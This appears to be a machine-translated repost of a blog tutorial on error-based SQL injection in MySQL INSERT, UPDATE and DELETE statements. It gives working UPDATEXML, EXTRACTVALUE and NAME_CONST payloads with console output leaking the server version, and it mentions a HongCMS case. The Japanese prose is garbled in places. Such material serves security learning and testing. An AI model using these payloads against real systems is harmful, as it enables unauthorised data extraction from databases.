注入方法を、挿入、更新、削除

免責事項:この記事はブロガーオリジナル記事ですが、許可ブロガーなく再生してはなりません。https://blog.csdn.net/qq1124794084/article/details/84590929

最も一般的な注入は、より多くのselectクエリインジェクションですが、パラメータはSQLインジェクションが生じ、チェックして、濾過されていない場合、悪質なSQLインジェクションは、データベースにデータを入れます。

すべての問い合わせに加えて、すべての要求とデータベースとの対話は、注射を引き起こす可能性が高いと言われています。以下のような:、データを変更し、データを挿入データの削除、どのような注入方法インサートの今要約、更新およびオンラインでのスキルに応じて削除します。

次は、エラー注入テスト・データベースのバージョン5.7.21です

組み込み関数のUPDATEXMLを使用した、EXTRACTVALUEまたはNAME_CONST

次のように試験テーブルです。

まず、使用UPDATEXML()関数


UPDATEXML(XML_document、XPath_string、NEW_VALUE)  ;
第一引数:XML_documentがString形式、XMLドキュメントオブジェクトの名前、ドキュメントのテキストである 
第二引数:XPath_string(XPath文字列形式)、XPath構文を理解していない場合は、オンラインチュートリアルを検索します。 
第三引数:NEW_VALUE、文字列の形式、見つかった修飾データ交換する 
機能を:ノードの条件に沿って、文書の値を変更
XPATH_stringに沿ってXML_documentの値を変更する
と、私たちの注入文:
UPDATEXML(1、CONCAT(0x7Eを(バージョンを@@ SELECT)、0x7Eを )、1)
文字列に接続され、前記連結()関数は、バーストの不正な形式で表示さXPATH_stringフォーマット準拠しません
エラー1105(HY000):XPATHを構文エラー: ':ルート@ localhostを '

ペイロード:

or updatexml(1,concat(0x7e,(version())),0) or

 

テストインサート射出:

mysql> insert into info(name,age) values('wangwu'or updatexml(1,concat(0x7e,(version())),0) or'','22');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

射出テストを更新

mysql> update info set name='test'or updatexml(2,concat(0x7e,(version())),0) or'' where id =1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
mysql> update info set name='test' where id =1 or updatexml(2,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

テスト注入を削除

mysql> delete from info where id=1 or updatexml(2,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

二、EXTRACTVALUE()関数

EXTRACTVALUEは():XMLドキュメントを照会する機能は
同じの要素を見つけるためにの<div> <P> <A>ラベルを使用して、おなじみのHTMLファイルに実際に等価である
EXTRACTVALUE(ターゲットXML文書、XMLパス):構文を
第二引数を文字の位置を特定するための場所でXML作動位置、XML文書は/ XXX / XXX / XXX / ...このフォーマットである私たちは別の書式を書いた場合、それはエラーになり、私たちは不法に書かれた形式を返します。コンテンツ、及びこのコンテンツは、我々が照会する違法なコンテンツです。
二番目のパラメータクエリの通常位置フォーマット/ XXX / XX / XX / XX 、 エラーが見つかりませんない場合でも

ペイロード:

or extractvalue(1,concat(0x7e,database())) or

テストインサート射出

mysql> insert into info(name,age) values('wangwu'or extractvalue(1,concat(0x7e,version())) or'','22');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

インジェクションテスト更新:

mysql> update info set name='test' or extractvalue(1,concat(0x7e,version())) or'' where id =1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
mysql> update info set name='test' where id =1 or extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

テスト注入を削除

mysql> delete from info where id=1 or extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

三、NAME_CONST()関数

NAME_CONST(名前、値)が
所定の値を返します。列結果のセットを生成するために使用される場合、NAME_CONST()指定された名前の列を引き起こします。

ペイロード

or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or

テストインサート射出

mysql> insert into info(name,age) values('wangwu' or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'','22');
ERROR 1060 (42S21): Duplicate column name '5.7.21'

射出テストを更新

mysql> update info set name='test'or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'' where id =1;
ERROR 1060 (42S21): Duplicate column name '5.7.21'
mysql> update info set name='test' where id =1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a);
ERROR 1060 (42S21): Duplicate column name '5.7.21'

テスト注入を削除

mysql> delete from info where id=1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a);
ERROR 1060 (42S21): Duplicate column name '5.7.21'

参考リンク:https://www.cnblogs.com/r00tgrok/p/3854754.html

本当のテスト:

バックグラウンドでHongCMSのSQLインジェクションは、つまり、注射を削除するには、テーブルをクリアする時間があります

詳細接続:https://www.freebuf.com/vuls/178316.html

ペイロードをUPDATEXML使用

EXTRACTVALUEを使用します

NAME_CONST使用します

おすすめ

転載: blog.csdn.net/qq1124794084/article/details/84590929